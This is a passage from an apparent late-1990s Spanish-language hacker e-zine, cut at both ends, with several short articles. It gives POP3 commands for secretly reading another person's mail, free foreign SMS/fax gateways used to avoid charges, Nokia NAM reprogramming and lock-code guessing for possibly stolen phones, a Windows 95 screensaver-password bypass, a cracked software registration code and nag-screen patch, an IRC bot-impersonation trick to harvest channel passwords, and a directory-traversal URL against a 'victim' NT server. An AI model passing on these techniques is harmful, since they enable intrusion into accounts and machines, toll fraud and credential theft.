deje los mensajes en el servidor (en vez de borrarlos) ya que el
propietario de la cuenta podria darse cuenta de que le alguien le lee
el correo.

* Estilo hacker
-------------
Si eres un verdadero hacker puedes acceder al puerto 110 mediante
telnet, de forma similar a la que he indicado en los casos anteriores.
Si optas por esta opcion deberas conocer cuales son los comandos
necesarios para 'moverte' por el sistema.

Antes de nada debes especificar el nombre y la contrase¤a del usuario:

USER pardillo
PASS miClave (la del pardillo, claro!!!!!)

Si lo has hecho bien, ya estas dentro. Este protocolo no dispone de
ayuda, asi que no te molestes en escribir HELP. Pero para eso esta el
tito Guy, para decirte cuales son lo comandos que debes usar. De
todos modos, algunas versiones te muestran todos los comandos al
introducir algun caracter erroneo. No te dice para que sirve cada
orden pero por lo menos te muestra todas las disponibles.

STAT --> Nos dice el numero de mensajes que hay en el buzon y
el tama¤o en bytes que ocupan.
LIST --> Similar al anterior pero nos muestra el tama¤o de
cada mensaje (no en conjunto).
RETR num --> 'num' es el numero de mensaje que queremos leer.
Nos lo mostrara por pantalla.
TOP num nLin --> 'num' es, al igual que antes, el numero de
mensaje que queremos visualizar, y 'nLin' es
el numero de lineas que queremos que nos
imprima (por si no queremos verlo entero.
Tambien es util porque a veces el mensaje no
podemos verlo todo debido a que no cabe en
pantalla y con el scroll lo perdemos).
DELE num --> 'num' vuelve a ser el numero de mensaje. Con este
comando, lo borraremos. Cuidadin ...
RSET --> Chequea el buzon en busca de mensajes nuevos.
HOST dir --> 'dir' es la direccion del host al que quieres
acceder (creo).
LAST -->
MBOX file --> 'file' es el nombre de un buzon al que quieras
acceder (creo).
NOOP -->
QUIT --> Salir :)

Esto es todo ... otro dia seguiremos analizando mas puertos ;)

ÚÄÄÄÄÄÄÄÄÄ - - - ú ú ú ú ú
³ GuyBrush ú
ú guybrush@cyberdude.com ³
ú ú ú ú ú - - - ÄÄÄÄÄÄÄÄÄÙ

zZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZ
Quieres enviar Faxes por el morro? lee bien este articulo ...
zZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZ

6 - PHREAKING CELLULARS
~~~~~~~~~~~~~~~~~~~~~~~
--------------
| ------- |
| SMS-fax |
| -------- |
--------------
PHREAKING CELLULARS



--------------------------------
-Servidores SMS gratiX....
By SlimeLORD+
ECLIPSE GROUP

--------------------------cut------------------------------------------------
Hola again vuelvo de nuevo para sacar otro trukito pa la
mejor revista, ejem! la vuestra.
--------------------------cut------------------------------------------------

SECTION FILE, scanning...
AUTHENTIFICATION REQUIRED
login: *****
pass: *******
OK entered PENTAGONON
IP accesible confirmed
Wellcome Clinton! (SlimeLORD RuleZ)


Aqui llego de nuevo en esta serie de articulos para que
veais lo facil que podeis mandar tanto MENSAJES CORTOS
como FAXES a cualquier telefono del mundo a traves de
un telefon GSM que permita mandar datos...

En Espain cobran 5 duros por mandar un mensajito de estos
pero si usamos un servidor extranjero pues mira por donde,
no llegara ninguna facturilla jeje...

Aqui os pongo unos cuantos para disfrute vuestro:

x +3409090909 upS! este no vale, ya me lo habeis chaFao (T) (cobra)

v +352021100003 permite enviar tato FAXES como SMS, quizas tambien
permita -solo en GSM que lo soporten- enviar e-mails....

v +436640501 otro solo sms

v +27831000006 y otro...

v +420602909909 para mi el mejor CON DIFFERENCE , eficaz y el MAS
rapido de todos, pues ademas te da recibi de cuando ha llegado a
su destino y es gratiX.

Bueno hasta la proxima, intentare escribir mas tecnicamente....! UmmF!

SlimeLORD@Hotmail.Com


------------------------cut--------------------------------------------------


Que hay hermanos?
Que les parecio el invento? Bueno no es nada con el articulo
que estoy escribiendo sobre telef- GSM NOKIA y MOTOROLA
para poder hacer diablras con ellos, solo que me gustaria
me hecharan un cable pues no dispongo de ellos y la
informacion solo es un poco una recopilacion de los mejores
trukitos para la makina, osea ke ... Bueno de todas formas las pondre
a vuestra disposicion para que la inserten donde quieran en
la revista, sin mas coordiales saludotes! desde la Spain!
Hare Chrisna!
SlimeLORD@HOTMAIL.com

----------------------cut----------------------------------------------------

()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
Si tienes un Nokia, no hace falta que te mires el largo y aburrido manual,
esto es mucho mas interesante ...
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()

7 - PROGRAMING CELLULARS
~~~~~~~~~~~~~~~~~~~~~~~~
--------------
| ------- |
| PROGRAMMING |
| -------- |
--------------
PROGRAMMING CELLULARS



--------------------------------
-Algunos Modelos NOKIA....
By SlimeLORD+
ECLIPSE GROUP


Hola gente, aqui os he reopilado alguna informacion para la gente de
NOKIA, si si, os muestro la forma de programar los moviles, para que
la gente pueda retocar las funciones y asi ahondar mas en las
"posibilidades" del movil, el autor de toda esta informacion mostrada
no se hace responsable, solo alega que es de proposito educacional,
y que cada cual la interprete de la mejor forma posible.


**************************************
* MODELO NOKIA/MOBIRA P4000 & PT612 *
**************************************

NOTA: Estas son unidades NAM duales
El prefijo ESN es 165 en decimal y A5 hex.
Nokia: 813-536-5553

PROGRAMACION DE LA NAM:

1. Enciendelo.

2. Entra * 3 0 0 1 # S S S S S SEL 9 END donde SSSSS es codigo de seguridad
1 2 3 4 5 es el defecto de fabrica.

3. Si la entrada fue corecta pondra "IdEnt IF InFO Pri"

Saltate al paso 7 para programarla NAM 1, o completa de 4 - 6 para encender
la NAM 2.

4. Presiona SND para poner "IdEntif InFO OPT"

5. Pulsa END y pondra "OPt InFO diSAbLEd"

6. Pulsa SND y pondra "OPt InFO EnAbLEd"

7. Pulsa END, la primera entrada de datos aparecera.

8. SND se usa para cambiar parametros digitales solo.

9. Pulsa END para almacenar e incrementar cada paso.

10. En cualquier momento pulsa SEL CLR para salir del programa.


DATOS DE PROGRAMACION

PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION


01 00000 - 32767 HO-Id ID SYSTEM
02 0 OR 1 ACCESS MARCA MIN
03 0 OR 1 LOCL OPt LOCAL USE MARK
04 10 DIGITS Phonxx MIN (AREA CODE & TEL#)
05 08 ONLY St CLASS STATION CLASS MARK
06 333 OR 334 PAging Ch INITIAL PAGING CHANNEL
07 2 DIGITS O-LOAd CLASS ACCESS OVERLOAD CLASS
08 A OR B PrEF SyS PREFERRED SYSTEM (SND TOGGLES)
09 2 DIGITS grOUP Id GRUPO ID (10 EN USA)
10 5 DIGITS SECUrity CODIGO SEGURIDAD (DEJAR EN 12345)
11 8 DIGITS SERIAL NUMBER NO CAMBIAR
12 MM/DD/YY 1 dAtE NO CAMBIAR
13 MM/DD/YY 2 dAtE FECHA DE INSTALACION


*****************************
* MODELO NOKIA LX11 & M11 *
*****************************


NOTA: Estas son unidades NAM duales
El prefijo ESN es 165 en decimal y A5 hex.
Nokia: 813-536-5553

PROGRAMACION DE LA NAM:

1. Enciendelo.

2. Pulsa * 3 0 0 1 # S S S S S SEL 9 END donde SSSSS es el codigo de seguridad
1 2 3 4 5 es por defecto de fabrica.

3. Si lo de arriba es correcto pondra "IdEnt IF InFO Pri"

Pasa al paso 6 para programar la NAM 1, o sigue 4 & 5 para cambiar a NAM 2.

4. Pulsa SND y pondra "OPt InFO diSAbLEd"

5. Pulsa SND y pondra "OPt InFO EnAbLEd"

6. Pulsa END, y saldra la primera entrada de datos.

7. Pulsa END para almacenar e incrementar cada paso.

8. La tecla SND cambia la opcion digital simple.

9. Pulsa SEL CLR para salir del programa habiendo seguido todos los pasos.


DATOS DE PROGRAMACION

PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION

01 00000 - 32767 HO-Id ID SYSTEM
02 0 OR 1 MIN Mark MARCA MIN
03 0 OR 1 LOCL OPt MARCA DE USO LOCAL
04 10 DIGITS Phonxx MIN (AREA CODE & TEL#)
05 08 ONLY St CLASS MARCA DE CLASE DE ESTACION
06 333 OR 334 PAging Ch INITIAL PAGING CHANNEL
07 2 DIGITS O-LOAd CLASS ACCESS OVERLOAD CLASS
08 A OR B PrEF SyS PREFERRED SYSTEM (SND TOGGLES)
09 2 DIGITS grOUP Id GRUPO ID (10 EN USA)
10 5 DIGITS SECUrity CODIGO SEGURIDAD
11 MM/DD/YY 1 dAtE NO TOCAR
12 MM/DD/YY 2 dAtE DATO DE INSTALACION

13 Prog done PULSA SEL CLR PARA SALIR

BLOQUEO: SEL LCK. DESBLOQUEO: Entra el codigo de 4 digitos.

SELECTOR DEL SISTEMA: SEL 1 luego 1 para scroll: A = A solo, b = B solo,
S = Pref/no pref, H = Regreso solo.

***************************
*MODELO NOKIA M10, TC2000 *
***************************

NOTA: Estas son unidades NAM duales
El prefijo ESN es 165 en decimal y A5 hex.
Nokia: 813-536-5553

PROGRAMACION DE LA NAM:

1. Enciendelo.

2. Pulsa * 1 7 * 3 0 0 1 * L L L L *, donde LLLL es el codigo de bloqueo
por defecto de fabrica es 1234. Si no se sabe el codigo (robado?) prueba
a poner numeros de 4 cifras, haber si aciertas, pues tienes la
ventaja de que a la tercera oportunidad no te bloquea el movil....

3. Pulsa SEL para almacenar los datos y para moverte entre los nombres de
parametros y las entradas.

4. Pulsa CLR para corregir la entrada.

5. Pulsa END para abortar la programacion.

6. En cualquier momento pulsa SEL END para salir y completar la programacion
el telefono saldra solo si tocas con el puntero todos los parametros.


PROGRAMACION DE DATOS

PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION

01 00000 - 32767 HO-Id SYSTEM ID
02 0 OR 1 ACCESS METODO DE ACCESO (MIN MARK)
03 0 OR 1 LOCAL LOCAL USE MARK
04 10 DIGITS Phone N MIN (AREA CODE & TEL#)
05 08 ONLY CLASS STATION CLASS MARK
06 333 OR 334 PAGE ch INITIAL PAGING CHANNEL
07 2 DIGITS O-LOAd ACCESS OVERLOAD CLASS
08 2 DIGITS GrouP GROUP ID (10 IN USA)
09 4 DIGITS Loc CodE CODIGO DE BLQUEO

NOTE: Se sugiere que el codigo de bloqueo sea dejado 1234, o
los cuatro ultimas cifras del numero de telefono.


BLOQUEO: SEL LCK. DESBLOQUEO: Entra codigo de 4 cifras.

SELECTOR DEL SISTEMA: SEL 1 cuando 1 para moverte: A = A solo, b = B solo,
S = Pref/no pref, H = Regreso solo.



*********************
* MODELO NOKIA 121 *
*********************

Para entrar en el sistema de datos pulsa *60312#12345, y luego la tecla
M seguida de la localizacion de memoria 00 (cero, cero)

Ahora veras "Store Not Done" en la pantalla. Usa la tecla de (R)ellamada
seguida de las localizaciones 1, 2, 4 y 5...

El NOKIA 121 es similar a la serie 101/201 (es el mismo telefono
excepto el teclado y el software...Technophone tambien tiene un modelo
que es identico (osea que es mas baratillo el de esta marca...)
Las localizaciones 1 & 2 contienen la informacion para la NAM 1 mientras
que la 4 & 5 contienen la NAM 2. No estoy seguro en el NOKIA 121
pero para el 101/201 aqui esta la secuencia de programcion...

*3001#12345 <STO> 00 (Pone en pantalla "store not done")
RCL 01 te da el codigo del pais, llamada de emergencia y codigo de bloqueo
RCL 02 te da el numero de telefono de 10 digitos
RCL 03 te da el SYS ID (5 digitos, 3 de ellos no se ven hasta que no
bajes hacia abajo cuando programes el telefono , el bit de acceso
local, la marca MIN, el canal de control inicial, la clase de
sobrecarga de acceso y el grupo ID.

Estas 3 localizaciones de memoria son para la NAM 1, y 4&5 lo son para
la NAM 2 (la localizacion de memoria 01 es comun para ambas NAMS)



++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Osea que aqui termina mi INFORMACION, no he querido o NO he podido
+ profundizar mas en la programacion de los NOKIAS porque NO
+ disponia de ningun modelo para hacer las pruebas, agradeceria a cualquier
+ lector de la revista que pudiese usar estos datos en sus NOKIAS para
+ que nos diera mas informacion de sus observaciones.
+ O que es lo que ha podido programar...
+
+ En todo caso tenganme en contacto en:
+ SlimeLORD@Hotmail.Com
+
+ Un saludote y hasta la proxima!
+ Que traere la programacion de la serie MOTOROLA.....
+ Y si puedo hasta la de ALCATEL,... sigan en la espera mi pana!!!
+
+ SlimeLORD
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Aqui teneis algo de humor. Lo encontre por las news traducido del ingles. Es
bastante original e incluso se podria decir que es el retrato robot de algun
que otro lamer ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

8 - COMO SER UN "JAKER" EN 10 MINUTOS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

COMO SER UN "JAKER" EN 10 MINUTOS O EN 10 LECCIONES BREVES
----------------------------------------------------------
Estimado futuro "jaker":

1) En primer lugar tu no puedes llamarte de cualquier manera si te vas
a dedicar a esto: no vale Pepe, Ramirez, Lucas o cosas asi. Debes elegir
un "nick" apropiado como Kajjin, kOrLeOnE, BronKa, ViErNeS13, o similar.

2) Tu direccion de correos no puede ser tan vulgar como la mia. Debes
buscarte algo acorde con el nick, y por supuesto mas falsa que una
moneda de 30 duros, por ejemplo: bronkaen@puticlub.com (nada de
jerarquia .es, la tuya debe ser .com, .org, u otra similar de tu
invencion (ejemplo de la vida real: "mafia@ufoplanet.com"), aunque
resulte que eres de Ceuta y uses el OUTLOOK EXPRESS.

3) Por supuesto tu no usas una computadora (joder!), ni un cerebro
electronico (esto ni de co¤a, por favor!), ni siquiera un ordenador. Lo
tuyo es una "maquina" que corre bajo UNIX o LINUX. Como se te ocurra
nombrar GUINDOS la cagaste pa toa la vida.

4) Tus mensajes (desde ahora "posts") al grupo, una vez redactados
"offline" los repasas, quitas las Q y las cambias por K, asi como los
sonidos CA (KA), CO (KO), CU (KU). No sabes la impresion de duro, de
"halternatibo", de algo asi como a lo Santiago Segura, que da este
toke!... Si ademas dejas caer que te encanta INTOZIKAZION EHTILIKA,
JENOZIDAS HAGUERRIDOS... jo! eso ya es la hostia...

5) Tu "news reader" (o sea el programejo para leer estas tonterias) es
la ultima version del "AGENT", debidamente crakeada, cuando tu no tienes
ni pajolera idea de ingles y encima el co¤azo de no saber como leches
marcar, bajar, responder, eliminar... En fin, todo sea por el bien de la
causa, con lo comodo que es el Netscape o el Outlook Express (spanish
version, claro)

6) Por supuesto no se te ocurra pedir nada. Tu lo sabes todo (de
momento). Cuando te consideren "guru" llega el momento de pedir el crack
del WINZIP o cualquier otra "merde" por el estilo diciendo que es "pa un
kolega jili ke usa er Guindoz"

7) En alguno de tus post debes contar que una vez te colaste en un
sistema como "root", "deduciendo" login y pasword, y que les dejaste una
hermosa "huella" de tu paso (no vayas a decir que te cagaste, que
tampoco es eso)

8) Ni se te ocurra decir que bajas soft de Paniagua, Tucows, Ethek,
Shareware, y mucho menos de Microsoft (di siempre Mocosof, que mola un
mazo). Tu esos sitios ni los visitas; te pasas horas en Islatortuga
(aunque solo sea mirando extasiado la "home page"), Kanniball, o en el
PGP (del que por supuesto tienes la ultima version). Antes molaba el
Private Idaho, pero desde que el Keanu Reeves hizo la pelicula suena un
poco amariconado, o sea por alli tampoco iras desde ahora.

9) Estas suscrito, por supuesto a todos los grupos 2600, warez,
hacking, prehaking (esto no se como s'escribe) y fucking (esto si), y
por aqui solo vienes a dar algun consejillo que nunca es alabado ni
valorado lo suficiente (snif...).

10) Contesta (manda "replys") a todos los post off topic que pidan algo
como craks, drivers, serial numbers... en el que aparezca algo asi como
"Tu eres un lamer de mierda!", o "ke t den". Ah! olvidate de
horterolas y cutremovil; tu no usas esas pijadas de "lamer", como mucho
un GSM con "tarjeta de recarga tomatica, jejeje".

Al poco tiempo te habras hecho un nombre y ya puedes empezar a pedir lo
que pide la mayoria. Veras que hay poco kacker a los que admirar, y que
lo que abunda es un pu¤ado de "marianos" que van por la vida presumiendo
de no se que...

Saludos, sus y a por ellos. O'F.

MWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMW
Parece que a Microsoft no se les acaban los bugs. Esta vez es en el protector
de pantalla y ... solo para HP :(
MWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMW

9 - BUG WIN95+HP
~~~~~~~~~~~~~~~~

-------------------------------------------------------------
--------------------BUG WIN95+HP-----------------------------
------------------12r43lOverdrive----------------------------
-----------------12r@antisocial.com--------------------------
-------------------------------------------------------------
Esta es una premisa de C-R-A-S-H.

BUG-WIN95+HP es el nombre que le he dado a lo que sigue.

Acceder al PC con la contraseña del protector de pantalla de Windows 95
activada? Como ustedes sabran hay muchas formas de hacer esto, una, y de la
cual hablaremos en este articulo es en las computadoras Hewlett Packard, ya
sean Brio o Vectra acupando el Extended Keyboard de HP, es decir el teclado
de botoncitos de acceso directo de HP.

He aqui como hacerlo:

Primero cuando Windows nos pida la contraseña del protector de pantalla hay
que presionar el boton con una luna y con un icono de un candadito en la parte
superior derecha del teclado. Cuando aparezca una alerta que nos indica que la
maquina va a entrar a modo dormir, etc.. le decimos que si, despues de unos
segundos presionamos la barra espaciadora y listo! tenemos la barra de
herramientas visible y lista para ser usada, lo que yo recomiendo es presionar
con el mouse el boton del logo de Windows y seleccionar el icono de ms-dos o
sino la opcion de ejecutar, (no veremos lo que pasa en el escritorio ya que el
protector de pantalla lo sigue tapando, asi que hay que ir a ciegas) despues
escribir command.com y tendremos el control de la PC por DOS.
En dado caso que Windows tenga configurado a DOS para ejecutarse en ventana,
simplemente presionando ALT+INTRO se ejecutara en pantalla completa.


Lo anterior fue probado con varios protectores de pantalla y la version mas
reciente de Windows, en varias PC's, por lo que espero funcione en versiones
anteriores de Windows y en otras maquinas.

Otra teoria es que cualquier maquina que tenga Windows95 y ademas tenga un
boton de entrar a modo dormir puede dar resultados similares a lo anterior,
pruebenlo!

12r-1998

------CRASH-------
12r Overdrive 1998
12r@antisocial.com
------------------

ßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜ
Y ya que estamos con el Windows, aqui teneis algunos truquillos mas, pero
esta vez para el 3.x ...
ßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜ

10 - CAMBIAR EL LOGO DE INICIO DE WINDOWS 3.X
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Si quieres que tu lamentable profesor de informatica se quede con la boca
abierta al ver una foto X al iniciar el Windows toma nota:

Con un editor grafico crea un archivo grafico con formato RLE.
El archivo lo puedes crear con un programa como Paint Shop Pro y para cambiar
su formato pillate el Graphic Work Shop en la pagina
www.mindworkshop.com/alchemy/gww.html, ademas por gentileza de Mr_Frost este
es el codigo de registro:
numero: 29581
numbre: WareZoHolicS
Este codigo es para la version de Windows 3.x pero creo que tambien vale para
las demas, este programa ademas de ser un excelente visualizador de imagenes
tiene bastantes formatos de conversion, entre ello el RLE.

Atencion, el archivo grafico no debe tener mas de 16 colores ni ocupar mas de
47696 bytes ni tener una resolucion mayor a 640x480 pixels.
Este archivo sera incluido dentro del ejecutable win.com asi que mas vale hacer
una copia antes de empezar a trastearlo.

Desde la linea de mandatos del MS-DOS teclearemos lo siguiente:

C:\>copy /b systm\win.cnf+system\vgalogo.lgo+milogo.rle win.com

siendo "milogo.rle" el archivo grafico creado por nosotros.
Ahora cada vez que se inicie el Windows saldra nuestro dibujo.

Para que no aparezca ningun logo al inicio basta con teclear win : cada vez
se cargue.
Para crear un win.com si logo:

C:\WINDOWS>copy system\win.cnf win.com ;ojo, desde el directorio Windows.

Para hacer la operacion contraria, restaurar el antiguo logo, copia el win.com
encima del antiguo de la siguiente manera:

C:\>move /y a:\win.com c:\windows\win.com

Feliz Hacking, Mr_Frost

ßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßß

El Software de Frost.
~~~~~~~~~~~~~~~~~~~~~

En el numero 10 se mostraba como hackear con un editor hexadecimal, pero como
todo el mundo no tiene el Ventanuco 95 para usar el editor hedit incluido
tambien en la revista, ahi les mando un buen editor hexadecimal para MS-DOS.
Ademas, he incluido un capturador de teclado para MS-DOS (si alguien sabe de
alguno para Windows que me lo diga!!) bastante bueno y un compilador para
archivos BAT con el que podras crear tus programas sin necesidad de aprender
un lenguaje complicado.

Nota: el compilador de archivos BAT crea un odioso mensaje que sale cada vez
que se ejecuta el programa compilado, pero eso no es problema para Frost:
para quitar el mensaje y la pausa que hace antes de procesar el codigo de
nuestro programa basta con abrir el programa compilado con del editor
hexadecimal incluido y rellenar con ceros '00' todos los bytes de la cabecera
del archivo hasta el ultimo retorno de carro '0D 0A 0A' incluido.

Ejemplo: tenemos la siguiente cabecera de un archivo BAT compilado

BA 31 01 B4 09 CD 21 06 B8 40 00 8E CD B9 03 00 que contiene la pausa y
26 8A 26 6C 00 80 E4 0F 26 A0 6C 00 24 0F 3A C4 el pesado mensaje que se
74 F6 26 A0 6C 00 24 0F 3A C4 75 F6 E2 EA 07 EB ejecuta cada vez que
7E 54 68 69 73 20 66 69 6C 65 20 63 6F 6D 70 69 ejecutamos nuestro
6C 65 64 20 77 69 74 68 20 75 6E 72 65 67 69 73 programa obligandonos a
74 65 72 65 64 20 76 65 72 73 69 6F 6E 20 6F 66 pagar por usar este
20 54 75 72 62 6F 42 41 54 20 62 61 74 63 68 0D programa.
0A 66 69 6C 65 20 63 6F 6D 70 69 6C 65 72 2E 20
20 50 6C 65 61 73 65 20 72 65 67 69 73 74 65 72
20 74 6F 20 65 6C 69 6D 69 6E 61 74 65 20 74 68
69 73 20 6D 65 73 73 61 67 65 2E 0D 0A 0A ....

Para quitarlo hay que rellenar toda la cabecera con bytes neutros como 00
hasta el ultimo retono de carro que indica el final del mensaje 0D 0A 0A:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....

Bueno ya saben como va esto, no? Para crear el archivo frost.zip con las
utilidades que se han descrito mas arriba copia el texto entre los puntos
(sin los puntos) y copialo a un archivo con el nombre frost.uue y usa el
programa UUDECODE (incluido en RareGaZz #1) con la siguiente SINTAXIS:

UUDECODE FROST.UUE

..........................Empieza el codigo....................................

[Image]Download Attachment: frost.zip [Get Virus Scan]

..........................Fin del codigo.......................................

Estas utilidades te haran la vida mas facil
Mr_Frost

oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
Y para que veais que en nuestro zine tenemos gran variedad, aqui va algo de
IRC. Algunos trucos son los de siempre, pero hay otros que estan muy bien ..
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO

11 - TRUCOS PARA EL IRC HISPANO
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Jelou. Primero de todo felicitarles por este magnifico magazine que estan
promoviendo y que es de gran utilidad (al menos para mi). Tb me
gustaria ofrecerles mi colaboración para lo que quieran IRC paginas
interesantes algo que busquen y no encuentren, etc. como parece que el tema
del IRC lo dejan un poco a parte, es normal ya que hay cosas más
interesantes, me gustaria hacer un pequeño inciso sobre el IRC en un numero
de su revista vi que pedían más servidores españoles aquí os va una pequeña
lista de servidores españoles:

fuego.irc-hispano.org\
En estos dos servidores recomiendo el puerto 8896 (para mejor rapidez
y menor posibilidad de nukeo)
aire.irc-hispano.org /
irc.redestb.es
irc.ctv.es
irc.lleida.net
irc.catalunya.net

Yo creo que con esos servidores ya va bien. Ahora os recomendare unos
scripts y os dire paginas donde encontrarlos:

Si quereis un script para el IRC de guerra podeis conseguir estos:
- AzEzInO v2.1 ( este os lo recomiendo es genial para matar a gente :)
- Killer Zombie

Si por el contrario quereis un script de dibujitos sonidos y tonterias
estan estos otros:
- Orbital
- Beginner
- Shark
- Skripter 97

Aqui teneis una direccion donde podreis encontrara estos scripts y más:

www.arrakis.es/~sucubus

Si deseais hacer vuestro propio script para el IRC os mando un manual
pequeño pero que os dara una minima idea de como poder hacer vuestro propio
script y con ayuda de ese manual y la guia de ver otros scripts pues podeis
hacer vuestro propio script.

TRUQUITOS PARA EL IRC

Este truco funciona a veces no funciona siempre pero a veces esta bien ya
que puedes descubrir con quien hablas ya que el internet es muy falso

Al poner /dns nick sale la dns de una persona y si ponemos la dns al reves
pues en varias ocasiones sale el nombre del ordenador que le da la persona
a su ordenata acostumbra a ser su nombre, así podemos saber si miente o no.
Por ejemplo:

Estamos hablando con alguien y dice que es una tia y muchas mas cosas y su
nick es julia tu puedes poner /dns julia saldra una cosa como 195.67.87.5 y
entonces pones /dns 5.87.67.195 y si sale bien saldria el nombre del
ordenata que podria ser julia o juan depende si miente o no es un truquito
para saber con quien hablamos.

Otro truquito para conseguir passwords de la gente de los canales y tener
acceso a ese canal es que cuando haya un split, no muy anormal en el irc
hispano, tengas un clon y le pongas rapidamente el nick de Scytale ( bot de
arrakis ) y estar en muchos canales y asi la gente que entre al canal que
este registrado y tenga la autentificación automatica te dira su pass de
una forma muy rapida :)

En este mail os incluyo un nuke muy potente y recordad que los puertos que
podeis nukear son el tipico 139, 113 y hay otros pero no me los se.

Para evitar que os nukeen, que realmente no es divertido ya que suele
putearte cuando bajas archivos o estas haciendo otro tipo de maldades por
internet o telnet, lo que podeis hacer es el archivo vnbt.386 le canviais
el nombre por vnbt.bak esto es para los usuarios de win95 ya que linux creo
que no tiene ese pequeño error, de esta forma nadie podra nukearos.

Bueno de momento eso es todo espero que os haya servido de algo lo que os
he contado. Realmente como decis los hackers españoles han muerto y han
sido enterrados pero es que aquí en españa estamos muy puteados con la puta
timofonica ya que conectarse es muy caro y encima subiran a 300 pelas la
hora y los numeros 900 que funcionen no abundan mucho. Pero aunque no haya
hacekrs aunque gente como yo, como voostros que queremos que la informacion
sea libre y gratuita y que los putos poderosos dejen de darnos la bara y
que encierren a los putos políticos corruptos en vez de a inocentes hackers
que no hacen daño a nadie PODREIS METER MI CUERPO EN UNA CARCEL, PERO MI
MENTE SIEMPRE LIBRE SIEMPRE ARDE PORQUE ES INARRESTABLE ( EL CLUB DE LOS
POETAS VIOLENTOS ) Bueno y después de todo este rollo se despide alguien
que quiere colaborar con todo este movimiento y que le gustaria recibir
notificaciones de nuevas publicaciones y si necesitais ayuda en algo no
dudeis en comunicarlo que se buscara información, se realizara lo necesario
y se os ayudara. Venga adios. POBRE, LISTO, TONTO O RICO MORIRAS ( by ME )

!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­
Cada dia se encuentran mas servidores con Windows NT. Creo que es importante
estudiarlos ya que, al ser de Microsoft, seguro que es mas facil hackearlos.
!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­!­

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º º º
º LAS º +++ Azum Lord +++ º
º POSIBILIDADES EN º º
º WINDOWS NT º http://members.xoom.com/logos/wlm.htm º
º -segunda parte- º AzumLord@bigfoot.com º
º º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Hello World!!!!!, aprovechando que me quede en casa y no sali de vacaciones
en semana santa :-(, heme aqui y como tengo varios dias esto va estar medio
cargado.

Primero que nada tienes que saber si es un servidor NT asi que hay varias
posibilidades para saber si es o no, un servidor NT:

1. Fijate en la pagina de la vicitma talvez ahi diga
2. Ve a http://www.netcraft.com/cgi-bin/Survey/
3. Prueba NBTSTAT -A [ip address] y fijate en la respuesta

La primera opcion es la mas sencilla en esa URL se encuentra un robot que es
mas o menos como un motor de busqueda tu le das la direccion y te dice que
tipo de servidor esta corriendo, pero el problema es que no todos los servidores
estan registrados asi que en algunos no podras usar esta opcion.

La segunda opcion es la mas simple, vas a la pagina de la victima y si dice
que es un servidor NT ya la hiciste o talvez te encuntras con paginas que envez
de ser *.html o *.htm son *.asp

La tercera es la mas segura.


Si ya encontraste un servidor NT, puedes probar algunos de los siguientes
exploits.

Saltando directiorios:

Para saltar el directorio wwwroot, que es el direcorio del web, pon lo sig.:
http://www.victima.com/..\..

Pero esto ya no funciona en un servidor IIS 3.0/NT 4.0 corriendo el service
